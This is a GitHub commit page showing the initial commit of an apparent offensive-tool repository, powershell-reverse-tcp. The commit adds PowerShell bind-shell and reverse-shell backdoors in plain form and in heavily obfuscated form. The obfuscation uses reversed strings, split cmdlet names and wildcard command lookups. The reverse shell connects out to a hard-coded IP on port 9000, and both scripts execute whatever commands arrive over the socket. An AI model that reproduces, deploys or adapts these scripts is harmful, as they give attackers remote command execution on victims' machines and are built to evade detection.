Skip to content

Commit 13d93a8

Browse files
committed
Initial Commit
0 parents  commit 13d93a8

18 files changed

+1089
-0
lines changed

.gitattributes

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Auto detect text files and perform LF normalization
2+
* text=auto

LICENSE

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2019 Ivan Šincek
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

README.md

+220
Large diffs are not rendered by default.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
# change the port number as necessary
2+
# obfuscated port number, same as $p = 9000;
3+
$p = 1000 + 1000 + 1000 + 6000;
4+
$cz56V= " ))43]RAhC[]GnIrtS[,)94]RAhC[+97]RAhC[+801]RAhC[((ECalPER.)93]RAhC[]GnIrtS[,'j0g'(ECalPER.)421]RAhC[]GnIrtS[,'oCr'(ECalPER.)63]RAhC[]GnIrtS[,'K6u'(ECalPER.)'`','TqJ'(ECalPER.)'}
5+
;)()j0gTCELj0g + j0gLOCj0g(::]CG[
6+
}
7+
;d )*V-ra* MTqJCTqJGTqJ( &
8+
{ )llu'+'nK6u en- dK6u( fi
9+
}
10+
;r )*V-ra* '+'MTqJCTqJG'+'TqJ('+' &
11+
{ )llunK6u en- rK6u( fi
12+
}
13+
;b )'+'*V-ra'+'* MTqJCTqJGTqJ( &
14+
;)(raelC.bK'+'6u
15+
{ )llunK6u en- bK6u( fi
16+
}
17+
;c )*V-ra* MTqJCTqJGTqJ( &
18+
;)(esopsiD.cK6u ;)(esolC.cK6u
19+
{ )ll'+'unK6u en- cK6u( fi
20+
}
21+
;s )*V-ra* MTqJCTqJGTqJ( '+'&
22+
;)(esopsiD.sK6u ;)(es'+'olC.sK6u
23+
{ )llunK6u en- sK6u( fi
24+
'+'}
25+
;w )*V-ra* MTqJCTqJGTqJ( &
26+
;'+')(esopsiD.wK6u ;)(esolC'+'.wK6u
27+
{'+' )llunK6u en- wK6u( fi
28+
}
29+
;l )*V-ra* MTqJCTqJGTqJ( &
30+
;)(esopsiD.revreS.lK6u ;)(esolC.revreS.lK6u
31+
{ )llu'+'nK6'+'u en- lK6u( fi
32+
{ yllanif }
33+
;eg'+'asseM.noitpecxErennI.noitpecxE'+'._K6u )??oH-e* MTqJCTq'+'JGTqJ( &
34+
{ hctac }
35+
;1'+'Ol!detcennocsid sah t'+'neilC1Ol )??oH-e* MTqJCTqJGTq'+'J( &
36+
;)0 tg- ybK6u( elih'+'w }'+'
37+
}
38+
}
39+
'+'}'+'
40+
;r )*V-ra* MTqJCTqJGTqJ( &
41+
;)rK6u(etirW.wK6u
42+
{ )0 tg- htgneL.rK6u( fi '+'
43+
;d )*V-ra* MTqJCTqJGTqJ( &
44+
}+'
45+
;)?????S-tu* MTqJC'+'TqJGTqJ( & oCr noitp'+'ecxE._K6u = rK6u
46+
{ hctac } '+'
47+
;)??'+'???S-tu* MTqJCTqJGTqJ( & oCr 1&>2 dK6u dnammoC- )*E-ek* MTqJCTqJGTqJ( & = rK6u
48+
{ yrt
49+
{ )0 tg-'+' htgneL.dK6u( fi
50+
;)(mirT.dK6u = dK6u
51+
{ )0 tg- ybK6u( fi
52+
;)elbali'+'avAataD.sK'+'6u( elihw }
53+
} '+' '+'
54+
;)ybK6u ,0 ,bK6u(gnirtSt'+'eG.eK6u =+ dK6u
55+
{ )0 tg- ybK6u( fi
56+
;)htg'+'neL.bK6u ,0 ,bK6'+'u(daeR.sK6u = ybK6u
57+
{ od
58+
;)1Ol>SP1Ol(etirW.wK6u
59+
{ od
60+
;0 = ybK6u
61+
;1Ol1Ol )??o'+'H-e* '+'MTqJCTqJGTqJ'+'( &
62+
;1Ol!detcennoc sah tneilC'+'1Ol '+')??'+'oH-e* MTqJCTqJGTqJ( &
63+
;eurtK6u = '+'hsulFotuA.wK6u
64+
;)j0g)4201 ,8FTU::]gnidocnE.txeT[ ,sK6u(RTqJETqJTTqJITqJRT'+'qJWTqJMTqJATqJETqJRTqJTTqJSTqJ.T'+'qJ'+'OTqJITqJ'+' )*O-we* MTqJCTqJGTqJ( &j0g )*E-ek* MTqJCTq'+'JGTqJ( &( '+'= wK6u
65+
;gnidocnE8FTU.txeT )*O-we* MTqJCTqJGTqJ( & = eK6u
66+
'+';)21 - 21 + '+'4201( ][etyB )*O-we* MTqJCT'+'qJGTqJ( & = bK6u
67+
;)(maertSteG.cK6u = sK6u
68+
;)(potS.lK6u
69+
;'+')llunK6u qe- c'+'K6u( elihw }
70+
}
71+
;005 sdnocesilliM- )*lS-t* MTqJCTqJGTqJ( & '+'
72+
{'+' esle }
73+
;)(tnei'+'lCpcTtpeccA.lK6u = cK6u
74+
{ ))(gnidn'+'eP.lK6u( fi
75+
{ od
76+
;1Ol1Ol )??oH-e* MTqJCTqJGTqJ( &
77+
;1Ol...tcennoc ot tneilc rof gnitiaW1Ol )??oH-e'+'* MTqJCTqJGTqJ'+'( &
78+
;1Ol1Ol )??oH-e* M'+'TqJCTqJGTqJ( &
79+
;1Ol...gninnur dna pu si roodkcaB1Ol )??oH-e* MTqJCTqJGTqJ( &
80+
;)(tratS.lK6u
81+
;)j0g)pK6u ,1Ol0.0.0.01Ol(RTqJETqJNT'+'qJETqJT'+'T'+'qJSTqJITqJLTqJPTqJCTqJTTqJ.'+'TqJS'+'TqJTTqJETqJKTqJCTqJOTqJSTqJ.TqJTTqJETqJ'+'NTqJ )*O-we* MTqJCTqJGTqJ( &j0g )*E-ek* MTqJC'+'TqJGTqJ('+' &( = lK6u
82+
{ yrt
83+
;ll'+'unK6u = rK6u = dK6u = wK6u = bK6u = sK6u = cK6u = lK6u
84+
;1Ol.pct-esrever-lleh'+'srewop/kecnis-navi/moc.buhtig ta yrotisoper'+' buHtiG1Ol )??oH-e* MTqJCTqJGTqJ( &
85+
;1Ol.kecniS nav'+'I yb 0.4v'+' PCT d'+'niB llehSrewoP1Ol )??oH-e* MTqJCTqJGTqJ( &'(()'x'+]31[DiLLehs$+]1[DiLlEhS$ ( . "; &((VaRIAble '*mDR*').namE[3,11,2]-JoIn'')([sTRInG]::JOIN('',$CZ56v[-1.. -($CZ56v.lEngTh)] ));
86+
& (`G`C`M *ar-V*) p;
87+
& (`G`C`M *ar-V*) cz56V;
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
# change the host address and/or port number as necessary
2+
# obfuscated host address, same as $a = "127.0.0.1";
3+
$a = "127" + "." + "0" + "." + "0" + "." + "1";
4+
# obfuscated port number, same as $p = 9000;
5+
$p = 1000 + 1000 + 1000 + 6000;
6+
$kT2r9V = [chAR[ ] ]" ) )93]raHC[,'but'ecALpERc-69]raHC[,'SWT'eCAlpeR-63]raHC[,)76]raHC[+87]raHC[+09]raHC[( ecALpERc- 43]raHC[,)78]raHC[+56]raHC[+801]raHC[(eCAlpeR-421]raHC[,)211]raHC[+67]raHC[+201]raHC[(eCAlpeR- )'}
7+
;)()butT'+'CEL'+'but + butLOCbut(::]CG[
8+
}
9+
;d )*V-'+'ra* MSWTCSWTGSWT( &
10+
{ )llunCNZ en- dCNZ'+'( fi
11+
}
12+
;r )*V-ra* MSWTCSWTGSWT( &
13+
{ )llunCNZ en- rCNZ( fi
14+
}
15+
;b )*V-ra* MSWTCSWTGSWT( &
16+
;)(raelC.bCNZ
17+
{ )llunCNZ en- bCNZ( fi
18+
}
19+
;c )*V-ra* MSWTCSWTGSWT( &
20+
;)(esopsiD.cCNZ ;)(esolC.cCNZ
21+
{ )llunCNZ en- cCNZ( fi
22+
}
23+
;s )*V-ra* MSWTCSWTGSWT'+'( &
24+
;)(esopsiD.sCNZ ;)(esolC.sCNZ
25+
{'+' )llunCNZ en- sCNZ( fi
26+
}
27+
;w )*V-ra* MSWTCSWTGSWT( &
28+
;)(esopsiD.wCNZ ;)(esolC.wCNZ
29+
{ )llunCNZ en- wCNZ( fi
30+
{ yllanif }
31+
;'+'egasseM.noitpecxErennI.noitpecxE._CNZ )??oH-e* MSWTCSWTGSWT( &
32+
{ hc'+'tac }
33+
;WAl...tixe won lliw roodkcaBWAl )??o'+'H-e* MSWTCSWTGSW'+'T( &
34+
;)0 tg- y'+'bCNZ( elihw }
35+
}
36+
}
37+
}
38+
;r )*V-'+'ra* MSWTCSWTGSWT( &
39+
;)rCNZ(etirW'+'.wCNZ'+'
40+
{ )0 tg- htgneL.rCNZ( fi
41+
;d )*V-ra* MSWTCSWTGSWT( &
42+
}
43+
;)?????S-tu* '+'MSWTCSWTGSWT( & pLf'+' noitpecxE._CNZ = rCNZ
44+
{ hctac }
45+
;)?????S-tu* MSWTCSWTGS'+'WT( & pLf 1&>2 dCNZ dnammoC- )*E-ek* MSWTCSWTGSWT( & = rCNZ
46+
{ yrt
47+
{ )0 tg- htgneL.dCNZ( fi
48+
;)(mirT.dCNZ = dCNZ
49+
{ )0 tg- ybCNZ( fi
50+
;)elbal'+'iavAataD.sCNZ( elihw }
51+
}
52+
;)ybCNZ ,0 '+',bCNZ(gnirtSteG.eCNZ =+ dCNZ
53+
{ )0'+' tg- ybCNZ('+' fi
54+
;)htgneL.bCNZ ,0 ,bCNZ(daeR.sCNZ = ybCNZ
55+
{ od '+'
56+
;)WAl>SPWAl(etirW.wCNZ
57+
{ od
58+
;0 = '+'ybCNZ
59+
;WAlWAl'+' )??oH-e* MSWTCSWTGSWT( &
60+
;WAl...gninnur dna pu si roodkcaBWAl '+')??oH-e* MSW'+'TCSWTGSWT( &
61+
;eurtCNZ = hsulFotuA.wCNZ
62+
;)but)4201 ,8FT'+'U::]gn'+'idocnE.txeT[ ,sCNZ(RSWTESWTTSWTISWTRSWTWSWTMSWTASWTESWTRSWTTSWTSSWT.SWTOSWTISWT )*O-we* MSWTCS'+'WTGSWT( &b'+'ut'+' )*E-ek* MSWTCSWTGSWT( &( = wCNZ
63+
;gnidocnE8FTU.txeT )*O-we* MSWTCSWTGSWT( & = eCNZ
64+
;)21 - '+'21 + 4201('+' ][etyB )*O-we* MSWTCSWTGSWT( & = bCNZ
65+
;)(maertSteG.cCNZ = sCNZ
66+
;)but)pCNZ ,aCNZ(TSWTNSWTESWTISWTLSWTCSWTPSWTCSWTTSWT.SWTSSWTTSWTESWTKSWTCSWTOS'+'WTSSW'+'T.SWTTSWTESWTNSWT )*O-we* M'+'SWTCSWTG'+'SWT( &'+'but )*E-ek* MSWTCSWTGSWT( &( = cCNZ
67+
{'+' yrt
68+
;llunCNZ = rCNZ = dCNZ = wCNZ = bCN'+'Z = sCNZ = cCNZ
69+
;WAl.pct-esrever-llehsrewop/kecnis-navi/moc.buhtig ta yrotisoper buHtiGWAl )??oH-e* MSWTCSWTGSWT( &
70+
;WAl.kecniS navI yb 0.4v PCT esreveR llehSrewoPWAl )??oH-e* MSWTCSW'+'TGSWT( &'((( )''nIOJ-]52,62,4[cepSmoc:vNe$ (. "; [aRRay]::REveRSE((lS ("vARi"+"aBL"+"e:kT2R9v")).valuE) ;&( $sHeLLid[1]+$ShEllID[13]+'X')( -jOIN (lS ("vARi"+"aBL"+"e:kT2R9v")).valuE );
71+
& (`G`C`M *ar-V*) a;
72+
& (`G`C`M *ar-V*) p;
73+
& (`G`C`M *ar-V*) kT2r9V;
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
# change the port number as necessary
2+
# obfuscated port number, same as $p = 9000;
3+
$p = 1000 + 1000 + 1000 + 6000;
4+
& (`G`C`M *e-Ho??) "PowerShell Bind TCP v4.0 by Ivan Sincek.";
5+
& (`G`C`M *e-Ho??) "GitHub repository at github.com/ivan-sincek/powershell-reverse-tcp.";
6+
$l = $c = $s = $b = $w = $d = $r = $null;
7+
try {
8+
$l = (& (`G`C`M *ke-E*) '& (`G`C`M *ew-O*) `N`E`T`.`S`O`C`K`E`T`S`.`T`C`P`L`I`S`T`E`N`E`R("0.0.0.0", $p)');
9+
$l.Start();
10+
& (`G`C`M *e-Ho??) "Backdoor is up and running...";
11+
& (`G`C`M *e-Ho??) "";
12+
& (`G`C`M *e-Ho??) "Waiting for client to connect...";
13+
& (`G`C`M *e-Ho??) "";
14+
do {
15+
if ($l.Pending()) {
16+
$c = $l.AcceptTcpClient();
17+
} else {
18+
& (`G`C`M *t-Sl*) -Milliseconds 500;
19+
}
20+
} while ($c -eq $null);
21+
$l.Stop();
22+
$s = $c.GetStream();
23+
$b = & (`G`C`M *ew-O*) Byte[] (1024 + 12 - 12);
24+
$e = & (`G`C`M *ew-O*) Text.UTF8Encoding;
25+
$w = (& (`G`C`M *ke-E*) '& (`G`C`M *ew-O*) `I`O`.`S`T`R`E`A`M`W`R`I`T`E`R($s, [Text.Encoding]::UTF8, 1024)');
26+
$w.AutoFlush = $true;
27+
& (`G`C`M *e-Ho??) "Client has connected!";
28+
& (`G`C`M *e-Ho??) "";
29+
$by = 0;
30+
do {
31+
$w.Write("PS>");
32+
do {
33+
$by = $s.Read($b, 0, $b.Length);
34+
if ($by -gt 0) {
35+
$d += $e.GetString($b, 0, $by);
36+
}
37+
} while ($s.DataAvailable);
38+
if ($by -gt 0) {
39+
$d = $d.Trim();
40+
if ($d.Length -gt 0) {
41+
try {
42+
$r = & (`G`C`M *ke-E*) -Command $d 2>&1 | & (`G`C`M *ut-S?????);
43+
} catch {
44+
$r = $_.Exception | & (`G`C`M *ut-S?????);
45+
}
46+
& (`G`C`M *ar-V*) d;
47+
if ($r.Length -gt 0) {
48+
$w.Write($r);
49+
& (`G`C`M *ar-V*) r;
50+
}
51+
}
52+
}
53+
} while ($by -gt 0);
54+
& (`G`C`M *e-Ho??) "Client has disconnected!";
55+
} catch {
56+
& (`G`C`M *e-Ho??) $_.Exception.InnerException.Message;
57+
} finally {
58+
if ($l -ne $null) {
59+
$l.Server.Close(); $l.Server.Dispose();
60+
& (`G`C`M *ar-V*) l;
61+
}
62+
if ($w -ne $null) {
63+
$w.Close(); $w.Dispose();
64+
& (`G`C`M *ar-V*) w;
65+
}
66+
if ($s -ne $null) {
67+
$s.Close(); $s.Dispose();
68+
& (`G`C`M *ar-V*) s;
69+
}
70+
if ($c -ne $null) {
71+
$c.Close(); $c.Dispose();
72+
& (`G`C`M *ar-V*) c;
73+
}
74+
if ($b -ne $null) {
75+
$b.Clear();
76+
& (`G`C`M *ar-V*) b;
77+
}
78+
if ($r -ne $null) {
79+
& (`G`C`M *ar-V*) r;
80+
}
81+
if ($d -ne $null) {
82+
& (`G`C`M *ar-V*) d;
83+
}
84+
[GC]::('COL' + 'LECT')();
85+
}
86+
& (`G`C`M *ar-V*) p;
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
# change the host address and/or port number as necessary
2+
# obfuscated host address, same as $a = "127.0.0.1";
3+
$a = "192.168.1.162";
4+
# obfuscated port number, same as $p = 9000;
5+
$p = 1000 + 1000 + 1000 + 6000;
6+
& (`G`C`M *e-Ho??) "PowerShell Reverse TCP v4.0 by Ivan Sincek.";
7+
& (`G`C`M *e-Ho??) "GitHub repository at github.com/ivan-sincek/powershell-reverse-tcp.";
8+
$c = $s = $b = $w = $d = $r = $null;
9+
try {
10+
$c = (& (`G`C`M *ke-E*) '& (`G`C`M *ew-O*) `N`E`T`.`S`O`C`K`E`T`S`.`T`C`P`C`L`I`E`N`T($a, $p)');
11+
$s = $c.GetStream();
12+
$b = & (`G`C`M *ew-O*) Byte[] (1024 + 12 - 12);
13+
$e = & (`G`C`M *ew-O*) Text.UTF8Encoding;
14+
$w = (& (`G`C`M *ke-E*) '& (`G`C`M *ew-O*) `I`O`.`S`T`R`E`A`M`W`R`I`T`E`R($s, [Text.Encoding]::UTF8, 1024)');
15+
$w.AutoFlush = $true;
16+
& (`G`C`M *e-Ho??) "Backdoor is up and running...";
17+
& (`G`C`M *e-Ho??) "";
18+
$by = 0;
19+
do {
20+
$w.Write("PS>");
21+
do {
22+
$by = $s.Read($b, 0, $b.Length);
23+
if ($by -gt 0) {
24+
$d += $e.GetString($b, 0, $by);
25+
}
26+
} while ($s.DataAvailable);
27+
if ($by -gt 0) {
28+
$d = $d.Trim();
29+
if ($d.Length -gt 0) {
30+
try {
31+
$r = & (`G`C`M *ke-E*) -Command $d 2>&1 | & (`G`C`M *ut-S?????);
32+
} catch {
33+
$r = $_.Exception | & (`G`C`M *ut-S?????);
34+
}
35+
& (`G`C`M *ar-V*) d;
36+
if ($r.Length -gt 0) {
37+
$w.Write($r);
38+
& (`G`C`M *ar-V*) r;
39+
}
40+
}
41+
}
42+
} while ($by -gt 0);
43+
& (`G`C`M *e-Ho??) "Backdoor will now exit...";
44+
} catch {
45+
& (`G`C`M *e-Ho??) $_.Exception.InnerException.Message;
46+
} finally {
47+
if ($w -ne $null) {
48+
$w.Close(); $w.Dispose();
49+
& (`G`C`M *ar-V*) w;
50+
}
51+
if ($s -ne $null) {
52+
$s.Close(); $s.Dispose();
53+
& (`G`C`M *ar-V*) s;
54+
}
55+
if ($c -ne $null) {
56+
$c.Close(); $c.Dispose();
57+
& (`G`C`M *ar-V*) c;
58+
}
59+
if ($b -ne $null) {
60+
$b.Clear();
61+
& (`G`C`M *ar-V*) b;
62+
}
63+
if ($r -ne $null) {
64+
& (`G`C`M *ar-V*) r;
65+
}
66+
if ($d -ne $null) {
67+
& (`G`C`M *ar-V*) d;
68+
}
69+
[GC]::('COL' + 'LECT')();
70+
}
71+
& (`G`C`M *ar-V*) a;
72+
& (`G`C`M *ar-V*) p;

src/invoke_expression/obfuscated/secure_string/powershell_bind_tcp_secure_string.ps1

+7
Large diffs are not rendered by default.

src/invoke_expression/obfuscated/secure_string/powershell_reverse_tcp_secure_string.ps1

+10
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)